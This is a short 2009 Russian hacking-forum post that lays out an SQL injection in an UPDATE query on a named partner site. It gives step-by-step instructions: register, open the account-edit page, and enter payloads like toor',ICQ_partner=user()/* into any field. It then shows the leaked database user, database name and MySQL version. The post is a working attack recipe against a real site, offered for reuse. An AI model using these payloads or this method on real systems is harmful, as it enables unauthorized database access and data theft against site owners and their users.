01.08.2009, 21:14
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Инъекция в операторе UPDATE, POST-запросом:
Код:
http://wblist.ru/partner/
Регистрируемся тут с любыми даными.
Код:
http://wblist.ru/partner/p-editacc.php
Заходим сюда и пишем по очереди в любое поле:
Код:
toor',ICQ_partner=user()/*
toor',ICQ_partner=database()/*
toor',ICQ_partner=version()/*
Смотрим в поле ICQ по очереди:
Код:
tests@localhost
tests
5.0.26
Последний раз редактировалось mailbrush; 01.08.2009 в 21:18..
|
|
|